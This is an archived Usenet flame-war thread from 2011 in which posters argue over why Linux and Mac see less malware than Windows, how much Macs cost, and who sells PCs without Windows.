> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>
>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>
>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>
>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>> and reasonably secure interfaces to the outside world.
>>>>
>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>> gets, the dumber the users you will have. This is what happened to
>>>> windows, this is how linux will go too. I will laugh hysterically
>>>> in the background. Not at anyone in particular, but at the computer
>>>> industry as a whole.
>>>
>>>     You can't get any dumber than the Mac userbase.
>>
>> Not true. I know all kinds of graphics artists who do the mac thing.
>>
>>>     So where's all the malware?
>>
>> Mac isn't a windows market. Malware authors are about the money now. When
>> mac has enough people to make it worthwhile, the malware authors will
>> target it.
>>
> Hmmm, Macs have about 20% market share in the use and people pay for them,
> on average, about 2-3x as much.  So people in the US are spending about the
> same for Macs as they are on Windows machines... which implies the owners
> might have about the same amount of money to be scammed out of.  Or at least
> pretty close.
>
> The security by obscurity claim is proving to be largely false.

LOL

It is not about the amount of "money" that the comparative OS userbases 
have available to be stolen, it is about the amount of "computing power" 
that can be stolen from them. It is the computing power that is then 
used to make the money.

It is a common trait of all types of malware, it's not only about what 
else they do, but about them stealing your computing power to do it.

0
erratic (209)
9/3/2011 12:54:19 AM
Snit wrote:
> FromTheRafters stated in post j3rt06$855$1@dont-email.me on 9/2/11 5:39 PM:
>
>> Snit wrote:
>>> Dustin stated in post Xns9F54C21455E8DHHI2948AJD832@no on 9/2/11 3:58 PM:
>>>
>>>> David Brown<david@westcontrol.removethisbit.com>   wrote in
>>>> news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net:
>>>>
>>>>> I agree that it's the admin who is responsible - but the choice of
>>>>> OS makes the job harder or easier.  With Windows, if you have a
>>>>> solid network setup with a good firewall between the nasty internet
>>>>> and the desktops, choose user software and setup carefully, and make
>>>>> sure users have decent training in security, then you are pretty
>>>>> safe.  But with Linux, I can install it on a laptop and connect it
>>>>> directly to any network I want, and let anyone use it as they want.
>>>>> Very roughly speaking, you have to know what you are doing to keep
>>>>> Windows safe - you have to know what you are doing to make Linux
>>>>> unsafe.
>>>>
>>>> Which is kind of ironic, seeing as you sort of need to know computers
>>>> reasonably well to install linux. Yet, a monkey can install the latest
>>>> version of windows. [g]. When linux gets to that point, and they will,
>>>> so as to grow the userbase, We'll see more hacked linux systems.
>>>
>>> Ubuntu and other distros are pretty easy to install.
>>
>>    I agree, and package managers make adding software a snap too. It's so
>> easy a Windows user could do it.
>>
>> That's kind of the point.
>>
>> Linux is very configurable and not shy about it. Even installation could
>> seem difficult if you opted not to just accept defaults. On the other
>> end of the spectrum was an OS such as Windows whose aim was to configure
>> everything, sit there spinning for an hour, no questions asked, and then
>> ask you if you want to e-mail grandma. Linux is very close to doing the
>> same sort of thing now. You end up with administrators that don't even
>> know that they are administrators - if your lucky, they're not running
>> as root.
>
> Well, with most distros you are not running as root by default.

That's good, but you *should* be able to say "all" here instead of just 
"most".

> When Ubuntu 11.10 comes out maybe I will make a video of how to install
> it... might help some who feel scared of doing so see how easy it is.
>
You would just be contributing to the problem of decreasing the overall 
IQ of the Linux userbase. Developers should strive to make things *more* 
difficult so as to weed the garden so to speak.

0
erratic (209)
9/3/2011 1:00:48 AM
FromTheRafters stated in post j3rtrt$cfm$1@dont-email.me on 9/2/11 5:54 PM:

> Snit wrote:
>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>> 
>>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>> 
>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>> 
>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>> and reasonably secure interfaces to the outside world.
>>>>> 
>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>> gets, the dumber the users you will have. This is what happened to
>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>> in the background. Not at anyone in particular, but at the computer
>>>>> industry as a whole.
>>>> 
>>>>     You can't get any dumber than the Mac userbase.
>>> 
>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>> 
>>>>     So where's all the malware?
>>> 
>>> Mac isn't a windows market. Malware authors are about the money now. When
>>> mac has enough people to make it worthwhile, the malware authors will
>>> target it.
>>> 
>> Hmmm, Macs have about 20% market share in the use and people pay for them,
>> on average, about 2-3x as much.  So people in the US are spending about the
>> same for Macs as they are on Windows machines... which implies the owners
>> might have about the same amount of money to be scammed out of.  Or at least
>> pretty close.
>> 
>> The security by obscurity claim is proving to be largely false.
> 
> LOL
> 
> It is not about the amount of "money" that the comparative OS userbases
> have available to be stolen, it is about the amount of "computing power"
> that can be stolen from them. It is the computing power that is then
> used to make the money.

Sometimes that... sometimes money.  But reasonable response.

> It is a common trait of all types of malware, it's not only about what
> else they do, but about them stealing your computing power to do it.
> 



-- 
🙈🙉🙊


0
usenet2 (47889)
9/3/2011 1:02:07 AM
FromTheRafters stated in post j3ru81$ebe$1@dont-email.me on 9/2/11 6:00 PM:

> Snit wrote:
>> FromTheRafters stated in post j3rt06$855$1@dont-email.me on 9/2/11 5:39 PM:
>> 
>>> Snit wrote:
>>>> Dustin stated in post Xns9F54C21455E8DHHI2948AJD832@no on 9/2/11 3:58 PM:
>>>> 
>>>>> David Brown<david@westcontrol.removethisbit.com>   wrote in
>>>>> news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net:
>>>>> 
>>>>>> I agree that it's the admin who is responsible - but the choice of
>>>>>> OS makes the job harder or easier.  With Windows, if you have a
>>>>>> solid network setup with a good firewall between the nasty internet
>>>>>> and the desktops, choose user software and setup carefully, and make
>>>>>> sure users have decent training in security, then you are pretty
>>>>>> safe.  But with Linux, I can install it on a laptop and connect it
>>>>>> directly to any network I want, and let anyone use it as they want.
>>>>>> Very roughly speaking, you have to know what you are doing to keep
>>>>>> Windows safe - you have to know what you are doing to make Linux
>>>>>> unsafe.
>>>>> 
>>>>> Which is kind of ironic, seeing as you sort of need to know computers
>>>>> reasonably well to install linux. Yet, a monkey can install the latest
>>>>> version of windows. [g]. When linux gets to that point, and they will,
>>>>> so as to grow the userbase, We'll see more hacked linux systems.
>>>> 
>>>> Ubuntu and other distros are pretty easy to install.
>>> 
>>>    I agree, and package managers make adding software a snap too. It's so
>>> easy a Windows user could do it.
>>> 
>>> That's kind of the point.
>>> 
>>> Linux is very configurable and not shy about it. Even installation could
>>> seem difficult if you opted not to just accept defaults. On the other
>>> end of the spectrum was an OS such as Windows whose aim was to configure
>>> everything, sit there spinning for an hour, no questions asked, and then
>>> ask you if you want to e-mail grandma. Linux is very close to doing the
>>> same sort of thing now. You end up with administrators that don't even
>>> know that they are administrators - if your lucky, they're not running
>>> as root.
>> 
>> Well, with most distros you are not running as root by default.
> 
> That's good, but you *should* be able to say "all" here instead of just
> "most".

Well, for the ones which you do run as root they should make it clear.  Do
any not?

>> When Ubuntu 11.10 comes out maybe I will make a video of how to install
>> it... might help some who feel scared of doing so see how easy it is.
>> 
> You would just be contributing to the problem of decreasing the overall
> IQ of the Linux userbase. Developers should strive to make things *more*
> difficult so as to weed the garden so to speak.

Hmmm, not sure I agree.  :)



-- 
🙈🙉🙊


0
usenet2 (47889)
9/3/2011 1:03:33 AM
Peter K�hlmann wrote:
> FromTheRafters wrote:
>
>> Bj�rn Steensrud wrote:
>>> FromTheRafters wrote:
>>>
>>>> JeffM wrote:
>>>>> FromTheRafters wrote:
>>>>>> So, you asked for '...or even one that the ESET "Linux
>>>>>> anti-virus" looks for' and I provided you with many.
>>>>
>>>> [snipped more attempts to change the parameters]
>>>
>>> Okay, so there were a few examples of malware that might conceivably
>>> attack Linux. Funny how none of them were reported by other sites
>>> than ESET?
>>
>> They are, all one has to do is look. Often, each company will use a
>> different malware name for the same entity.
>>
>> I just went to the sites of five other vendors and they all list some
>> (albeit very few) Linux malware programs (including viruses). I've
>> got a screen cap of the Trend-Micro site's page, but I'm pretty sure
>> that no matter how much proof I post it will always fall short of
>> acceptance.
>>
>> http://i53.tinypic.com/334ja09.jpg
>
> Computers infected since december 4, 2000 : Total worldwide: 14
>
> Are you fore real?
> *That* is /proof/ in your eyes?
>
> And do you have *any* idea at all what "elf_Snoopy" did, and how it
> infected computers?
>
> I'll give you a hint: The infected file to to be *copied* to the
> system to "infect" it. It could only "infect" executeable files owned
> by the user. Which count on a normal linux system to a total of about
> zero
>
> So, you are either dumber than Hadron Larry (if that is possible at
> all) or you are willfully posting lies and bullshit

What is it about these trolls that they just do not get it? 


0
Sneaky (395)
9/3/2011 3:25:39 AM
Hadron wrote:
> Wolf K <wekirch@sympatico.ca> writes:
>
>> On 01/09/2011 11:16 PM, JeffM wrote:
>>> FromTheRafters wrote:
>>>> So, you asked for '...or even one that the ESET "Linux anti-virus"
>>>> looks for' and I provided you with many.
>>>>
>>> ...after 7 used the word "infect".
>>> What part of "infect" don't you understand.
>>>
>>> ...or are you trying to use the Typhoid Mary meme
>>> (which has already been acknowledged)?
>>>
>>> ...as has the "dancing bunnies" meme.
>>>
>>> A page full of Win32 malware was NOT what was requested.
>>> Everyone already knows what a steaming pile Windoze is.
>>
>> There were several Linux items listed. use Edit/Find if you can't
>> see them with the naked eye.
>>
>> Wolf K.
>
> Once again COLA "advocates" venture outside of Roy Schestowitz's
> stomping ground and are met with suspicion and finally sent packing
> back into the sleazy underbelly of ignorance, lies, bile and
> cluelessness where they to fester and belong.
>
> I suspect most of the real Linux advocates and users in the groups
> listed in the newsgroup line are appalled by what they read as
> "advocacy" from the likes of JeffM, Chris Ahlstrom, Roy Schestowitz,
> chrisv et al. It's a hoorible job trying to keep them penned into COLA
> but someone has to.

You only hate Roy because you are jealous. Have you read his blog? He 
documents everything he claims and proves he is correct. 


0
Sneaky (395)
9/3/2011 3:30:58 AM
Dustin wrote:
> JEDIDIAH <jedi@nomad.mishnet> wrote in
> news:slrnj5tf3h.stn.jedi@nomad.mishnet: 
> 
>> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>>> Hadron<hadronquark@gmail.com> wrote in
>>> news:6tbov6vyoy.fsf@news.eternal-september.org: 
>>>
>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>> the usual techniques since the "dumb" userbase is so small - that
>>>> and reasonably secure interfaces to the outside world.
>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>> gets, the dumber the users you will have. This is what happened to
>>> windows, this is how linux will go too. I will laugh hysterically
>>> in the background. Not at anyone in particular, but at the computer
>>> industry as a whole. 
>>    You can't get any dumber than the Mac userbase.
> 
> Not true. I know all kinds of graphics artists who do the mac thing.
>  

So do I, and whilst they are very good at Graphics, none of them really 
know the first thing about computers.

>>    So where's all the malware?
> 
> Mac isn't a windows market. Malware authors are about the money now. When 
> mac has enough people to make it worthwhile, the malware authors will 
> target it. 
> 
> 
0
tnp (2409)
9/3/2011 6:43:30 AM
Big Steel wrote:
> On 9/2/2011 7:31 PM, Snit wrote:
>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>>
>>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>
>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>
>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>> and reasonably secure interfaces to the outside world.
>>>>>
>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>> gets, the dumber the users you will have. This is what happened to
>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>> in the background. Not at anyone in particular, but at the computer
>>>>> industry as a whole.
>>>>
>>>>     You can't get any dumber than the Mac userbase.
>>>
>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>>
>>>>     So where's all the malware?
>>>
>>> Mac isn't a windows market. Malware authors are about the money now. 
>>> When
>>> mac has enough people to make it worthwhile, the malware authors will
>>> target it.
>>>
>> Hmmm, Macs have about 20% market share in the use and people pay for 
>> them,
>> on average, about 2-3x as much.  So people in the US are spending 
>> about the
>> same for Macs as they are on Windows machines... which implies the owners
>> might have about the same amount of money to be scammed out of.  Or at 
>> least
>> pretty close.
>>
>> The security by obscurity claim is proving to be largely false.
>>
>>
> 
> LOL, I have to disagree here in the case of Linux at the desktop being 
> used which is usually a sign that the user is broke and doesn't have any 
> money. :)

And isn't preparde unlike Dopez, to use a pirated version of Windows.
0
tnp (2409)
9/3/2011 6:44:29 AM
Snit wrote:
> Big Steel stated in post Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
> 9/2/11 4:38 PM:
> 
>> On 9/2/2011 7:31 PM, Snit wrote:
>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>>>
>>>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>
>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>
>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>>> gets, the dumber the users you will have. This is what happened to
>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>> in the background. Not at anyone in particular, but at the computer
>>>>>> industry as a whole.
>>>>>     You can't get any dumber than the Mac userbase.
>>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>>>
>>>>>     So where's all the malware?
>>>> Mac isn't a windows market. Malware authors are about the money now. When
>>>> mac has enough people to make it worthwhile, the malware authors will
>>>> target it.
>>>>
>>> Hmmm, Macs have about 20% market share in the use and people pay for them,
>>> on average, about 2-3x as much.  So people in the US are spending about the
>>> same for Macs as they are on Windows machines... which implies the owners
>>> might have about the same amount of money to be scammed out of.  Or at least
>>> pretty close.
>>>
>>> The security by obscurity claim is proving to be largely false.
>> LOL, I have to disagree here in the case of Linux at the desktop being
>> used which is usually a sign that the user is broke and doesn't have any
>> money. :)
> 
> Sure: Linux users likely have less money - given that one of the primary
> reasons people use Linux is the lower initial cost.
> 
> 
Doesnt that mean they end up having more money?
0
tnp (2409)
9/3/2011 6:44:55 AM
ibuprofin@painkiller.example.tld.invalid (Moe Trin) writes:
> Well, then maybe you should find a more capable news tool.  Those of us
> who do use one can filter c.o.l.a posts, and your snipping the groups
> makes it more difficult.   DON'T REPLY TO TROLLS.   If you absolutely
> must try to demonstrate your stupidity by replying to them, DON'T SNIP
> the shit groups so that others can filter the garbage off.  What is so
> hard about that?

Easiest answer is to killfile Aragorn and any other idiot who drags
advocacy threads into non-advocacy groups.

-- 
http://www.greenend.org.uk/rjk/
0
Richard
9/3/2011 8:37:50 AM
On 09/02/2011 07:32 PM, Snit wrote:
> Dustin stated in post Xns9F54C21455E8DHHI2948AJD832@no on 9/2/11 3:58 PM:
>
>> David Brown<david@westcontrol.removethisbit.com>  wrote in
>> news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net:
>>
>>> I agree that it's the admin who is responsible - but the choice of
>>> OS makes the job harder or easier.  With Windows, if you have a
>>> solid network setup with a good firewall between the nasty internet
>>> and the desktops, choose user software and setup carefully, and make
>>> sure users have decent training in security, then you are pretty
>>> safe.

   No one I know wants to know anything about those items, let alone 
manage them.

>>>  But with Linux, I can install it on a laptop and connect it
>>> directly to any network I want, and let anyone use it as they want.
>>> Very roughly speaking, you have to know what you are doing to keep
>>> Windows safe - you have to know what you are doing to make Linux
>>> unsafe.
>>
>> Which is kind of ironic, seeing as you sort of need to know computers
>> reasonably well to install linux. Yet, a monkey can install the latest
>> version of windows. [g]. When linux gets to that point, and they will,
>> so as to grow the userbase, We'll see more hacked linux systems.
>
> Ubuntu and other distros are pretty easy to install.
> ....
>
>
>


-- 
Norman
Registered Linux user #461062
AMD64X2 6400+ Ubuntu 10.04 64bit
0
npeelmandog (163)
9/3/2011 12:34:43 PM
On 03/09/11 01:38, Big Steel wrote:
>
> LOL, I have to disagree here in the case of Linux at the desktop being
> used which is usually a sign that the user is broke and doesn't have any
> money. :)

Most Linux desktop users have a Windows license for their machines as 
well, because it is difficult to buy a machine without one.  If you want 
a PC without Windows, you usually have to build it yourself - and that 
is normally more expensive than a pre-build one.

People run Linux on desktops because they /choose/ to - not to save money.

People may run Open Office rather than MS Office to save money, and 
similarly with other programs.  And the lack of cost certainly makes it 
easier to try out Linux.  But Linux users have usually already paid for 
a Windows license for the machine (even if they never use it).

In my household, there are two laptops and two desktops.  They all came 
with Windows licenses, but none of them have Windows installed (except 
on a couple of virtual machines).
0
9/3/2011 1:26:53 PM
On 9/3/2011 2:44 AM, The Natural Philosopher wrote:

<naturally>
<snipped>
<yawn>

You can do the natural thing here Big Natural and crawl back to your hole.
0
Big
9/3/2011 1:30:54 PM
On 9/3/2011 9:26 AM, David Brown wrote:
> On 03/09/11 01:38, Big Steel wrote:
>>
>> LOL, I have to disagree here in the case of Linux at the desktop being
>> used which is usually a sign that the user is broke and doesn't have any
>> money. :)
>
> Most Linux desktop users have a Windows license for their machines as
> well, because it is difficult to buy a machine without one. If you want
> a PC without Windows, you usually have to build it yourself - and that
> is normally more expensive than a pre-build one.

All I see is people talking about they installed Linux on a door-stop, 
and they got it on a dumpster dive. :)
>
> People run Linux on desktops because they /choose/ to - not to save money.

Whatever.......
>
> People may run Open Office rather than MS Office to save money, and
> similarly with other programs. And the lack of cost certainly makes it
> easier to try out Linux. But Linux users have usually already paid for a
> Windows license for the machine (even if they never use it).

Most of them dumpster dive, they went to a pawnshop or someone gave them 
an old computer. :)

>
> In my household, there are two laptops and two desktops. They all came
> with Windows licenses, but none of them have Windows installed (except
> on a couple of virtual machines).

I have no use for Linux at the desktop. Linux is not paying the bills MS 
is paying the bills. :)

0
Big
9/3/2011 1:46:27 PM
David Brown stated in post jZadnfiNwcKAtv_TnZ2dnUVZ8oydnZ2d@lyse.net on
9/3/11 6:26 AM:

> On 03/09/11 01:38, Big Steel wrote:
>> 
>> LOL, I have to disagree here in the case of Linux at the desktop being
>> used which is usually a sign that the user is broke and doesn't have any
>> money. :)
> 
> Most Linux desktop users have a Windows license for their machines as
> well, because it is difficult to buy a machine without one.  If you want
> a PC without Windows, you usually have to build it yourself - and that
> is normally more expensive than a pre-build one.

You can also buy one from the following companies:

    Abaco Computers
    Blackstone Systems
    Codelock Computer
    ComputadoresLinux
    Dell
    Eight Virtues
    Emperor Linux
    eRack
    Evo Technologies
    Fit-PC
    Frostbite Systems
    Genesi USA
    HP
    Inatux
    LinPC
    Linutop
    Linux Certified
    Linux Emporium
    Linux-service.be
    Los Alamos Computers
    open-pc
    System76
    Think Penguin
    Zareason    
    Zinside

And likely more.

> People run Linux on desktops because they /choose/ to - not to save money.

The first half is correct... but often in COLA it is noted how desktop Linux
and many of its apps can be had for free.  Of course this is a huge
"selling" point.  It is also one of the main reasons I, personally, use it
for the businesses and individuals I install it for.

In other words: I am a counter-example to the denial that it is not used to
save money.  It is... I know because I use it for that purpose.
 
> People may run Open Office rather than MS Office to save money, and
> similarly with other programs.  And the lack of cost certainly makes it
> easier to try out Linux.  But Linux users have usually already paid for
> a Windows license for the machine (even if they never use it).

I use it on many machines where I no longer have access to the license that
came with the machine.  Or where the machine came without a Windows license.
I am hardly the only one.

> In my household, there are two laptops and two desktops.  They all came
> with Windows licenses, but none of them have Windows installed (except
> on a couple of virtual machines).



-- 
🙈🙉🙊


0
usenet2 (47889)
9/3/2011 2:34:55 PM
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
NotDashEscaped: You need GnuPG to verify this message

On 09/03/2011 04:26 PM, David Brown wrote:
> On 03/09/11 01:38, Big Steel wrote:
>>
>> LOL, I have to disagree here in the case of Linux at the desktop being
>> used which is usually a sign that the user is broke and doesn't have any
>> money. :)
I don't have much money and am a Linux fanatic but even I own several
licenses for Windows.

Let's see
3 XPs
3 Vistas
4 Windows 7
I also have MS Office. Several versions

This year alone I have used about 5000 euros to Microsoft software and
other Windows based software. So I probably don't count as freetard :-)

Worst thing in this is that this money really should have gone to FOSS
projects. Maybe next year...

> 
> Most Linux desktop users have a Windows license for their machines as
> well, because it is difficult to buy a machine without one.  If you want
> a PC without Windows, you usually have to build it yourself - and that
> is normally more expensive than a pre-build one.
The quality of the components is generally better also when you build it
yourself.

> 
> People run Linux on desktops because they /choose/ to - not to save money.
Exactly! And when I nowadays have to use Windows machine I am waiting
all the time when it is going to act up... "not responding" or some
other shit. Also the regular reinstallations are pain.
> 
> People may run Open Office rather than MS Office to save money, and
> similarly with other programs.  And the lack of cost certainly makes it
> easier to try out Linux.  But Linux users have usually already paid for
> a Windows license for the machine (even if they never use it).
I like the LibreOffice/OpenOffice. When ever you end up on a foreign
machine and have to write something - just download it from net - no
questions asked :-)

> 
> In my household, there are two laptops and two desktops.  They all came
> with Windows licenses, but none of them have Windows installed (except
> on a couple of virtual machines).


-- 
Kari Laine

PICs, Displays,Relays - USB-SPI-I2C http://www.byvac.com
USB and FPGA boards  http://www.ztex.de
I am just a happy customer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.16 (GNU/Linux)
Comment: Using GnuPG with SUSE - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJOYkx9AAoJEPjW/Kjfref2u1AH/AmM4jCM/pOB07DPQ6nu3/Hq
L21pg37PK9AFJO+kEn8JCj5Um9g729arbrQRiClqPnrRbyVa9YY9/0YJ0+mw2BTS
PDTeCVQiBCi74Kz53un9/uXTKWL1yTqoQqf6BzzuXchY8R2wgjGkS5/eewoSpeRO
qlJqPCOKtYk1yLnHMhR1l/alZx30jj2bEqT10wfDvdC+Y9q3trizY5CcGYWk1o8n
zBK+5yT40gToE3sLHdHxk7GoMiViciJjAhBNY9ZG8ztsxhGHsmw4QqYMI+D/zA2/
o5EpnCMvi1ndzCy5qcr1PthhANvfD/phGTQ9ThKJpU/1jLEd12tjszudPDlWFck=
=W9pL
-----END PGP SIGNATURE-----
0
karitlaine (1051)
9/3/2011 3:49:17 PM
On Fri, 02 Sep 2011 19:38:52 -0400, Big Steel <"The
Steel11177ttta"@Steel11277ttta.com> wrote:

>LOL, I have to disagree here

I'm sure he won't be losing any sleep over it, D.


Jim
0
jegan1 (19)
9/3/2011 3:54:54 PM
On 9/3/2011 11:54 AM, James Egan wrote:
>
> On Fri, 02 Sep 2011 19:38:52 -0400, Big Steel<"The
> Steel11177ttta"@Steel11277ttta.com>  wrote:
>
>> LOL, I have to disagree here
>
> I'm sure he won't be losing any sleep over it, D.
>
>
> Jim

Kiss my ass Jungle Jim and crawl back to your hole, I am not going to 
loose any sleep over it either.
0
Big
9/3/2011 3:59:34 PM
On Sat, 03 Sep 2011 11:59:34 -0400, Big Steel <"The
Steel11177ttta"@Steel11277ttta.com> wrote:

>Kiss my ass Jungle Jim and crawl back to your hole, I am not going to 
>loose any sleep over it either.

I see you're still vying for usenet numpty of the year, D. Keep taking
the tablets :)


Jim
0
jegan1 (19)
9/3/2011 5:19:30 PM
On 09/03/2011 06:46 AM, Big Steel wrote:
> On 9/3/2011 9:26 AM, David Brown wrote:
>> On 03/09/11 01:38, Big Steel wrote:
>>>
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>>
>> Most Linux desktop users have a Windows license for their machines as
>> well, because it is difficult to buy a machine without one. If you want
>> a PC without Windows, you usually have to build it yourself - and that
>> is normally more expensive than a pre-build one.
>
> All I see is people talking about they installed Linux on a door-stop,
> and they got it on a dumpster dive. :)

I paid for this computer and it came with Windows. I use Mint because I 
want to not because I have to.

>> People run Linux on desktops because they /choose/ to - not to save
>> money.
>
> Whatever.......
>>
>> People may run Open Office rather than MS Office to save money, and
>> similarly with other programs. And the lack of cost certainly makes it
>> easier to try out Linux. But Linux users have usually already paid for a
>> Windows license for the machine (even if they never use it).
>
> Most of them dumpster dive, they went to a pawnshop or someone gave them
> an old computer. :)

What horseshit.
>>
>> In my household, there are two laptops and two desktops. They all came
>> with Windows licenses, but none of them have Windows installed (except
>> on a couple of virtual machines).
>
> I have no use for Linux at the desktop. Linux is not paying the bills MS
> is paying the bills. :)
>

0
Sneaky (395)
9/3/2011 5:29:12 PM
Norman Peelman <npeelmandog@cfl.rr.com> wrote in
news:j3t6t4$okv$1@dont-email.me: 

>    No one I know wants to know anything about those items, let alone
> manage them.

As long as that attitude remains as the primary, my job security is set 
in stone. [g]


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/3/2011 5:53:55 PM
Snit <usenet@gallopinginsanity.com> wrote in
news:CA86B55A.A49B2%usenet@gallopinginsanity.com: 

> Hmmm, Macs have about 20% market share in the use and people pay for
> them, on average, about 2-3x as much.  So people in the US are
> spending about the same for Macs as they are on Windows machines...

No they aren't. I can build an impressive PC for half the cost of a 
decent mac.

> which implies the owners might have about the same amount of money
> to be scammed out of.  Or at least pretty close.

Ehh, no. Macs are by far more expensive.
 
> The security by obscurity claim is proving to be largely false.

LOL, not hardly. I confess tho, I do have the advantage here, insider 
knowledge.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/3/2011 5:54:57 PM
Big Steel <"The Steel11177ttta"@Steel11277ttta.com> wrote in
news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com: 

> No bang for the buck with crooks and Linux at the desktop. So why
> bother? :) 

That's right. It's *not* that linux is somehow fort knox compared to 
windows, it's that the userbase isn't viable for money making. 


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/3/2011 5:55:46 PM
The Natural Philosopher <tnp@invalid.invalid> wrote in
news:j3sicd$2ea$3@news.albasani.net: 

> Big Steel wrote:
>> On 9/2/2011 7:31 PM, Snit wrote:
>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11
>>> 4:06 PM: 
>>>
>>>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>
>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>
>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted
>>>>>>> by the usual techniques since the "dumb" userbase is so small
>>>>>>> - that and reasonably secure interfaces to the outside world.
>>>>>>
>>>>>> Give it time. That dumb userbase is growing. The "friendlier"
>>>>>> linux gets, the dumber the users you will have. This is what
>>>>>> happened to windows, this is how linux will go too. I will
>>>>>> laugh hysterically in the background. Not at anyone in
>>>>>> particular, but at the computer industry as a whole.
>>>>>
>>>>>     You can't get any dumber than the Mac userbase.
>>>>
>>>> Not true. I know all kinds of graphics artists who do the mac
>>>> thing. 
>>>>
>>>>>     So where's all the malware?
>>>>
>>>> Mac isn't a windows market. Malware authors are about the money
>>>> now. When
>>>> mac has enough people to make it worthwhile, the malware authors
>>>> will target it.
>>>>
>>> Hmmm, Macs have about 20% market share in the use and people pay
>>> for them,
>>> on average, about 2-3x as much.  So people in the US are spending 
>>> about the
>>> same for Macs as they are on Windows machines... which implies the
>>> owners might have about the same amount of money to be scammed out
>>> of.  Or at least
>>> pretty close.
>>>
>>> The security by obscurity claim is proving to be largely false.
>>>
>>>
>> 
>> LOL, I have to disagree here in the case of Linux at the desktop
>> being used which is usually a sign that the user is broke and
>> doesn't have any money. :)
> 
> And isn't preparde unlike Dopez, to use a pirated version of
> Windows. 
> 

Pirated version? Please. It's not *that hard* to acquire a valid VLK 
key. No pirate.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/3/2011 5:56:12 PM
On 09/03/2011 01:53 PM, Dustin wrote:
> Norman Peelman<npeelmandog@cfl.rr.com>  wrote in
> news:j3t6t4$okv$1@dont-email.me:
>
>>     No one I know wants to know anything about those items, let alone
>> manage them.
>
> As long as that attitude remains as the primary, my job security is set
> in stone. [g]
>
>

   As is mine as the local 'computer guy'. :(

-- 
Norman
Registered Linux user #461062
AMD64X2 6400+ Ubuntu 10.04 64bit
0
npeelmandog (163)
9/3/2011 5:57:49 PM
The Natural Philosopher <tnp@invalid.invalid> wrote in
news:j3siai$2ea$2@news.albasani.net: 

> So do I, and whilst they are very good at Graphics, none of them
> really know the first thing about computers.

Macs tend to have that dumbing down effect, yes. It's why people buy 
them, I think. They don't want to know how it works, just that it does. 

Bad for security, good for malware.
 


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
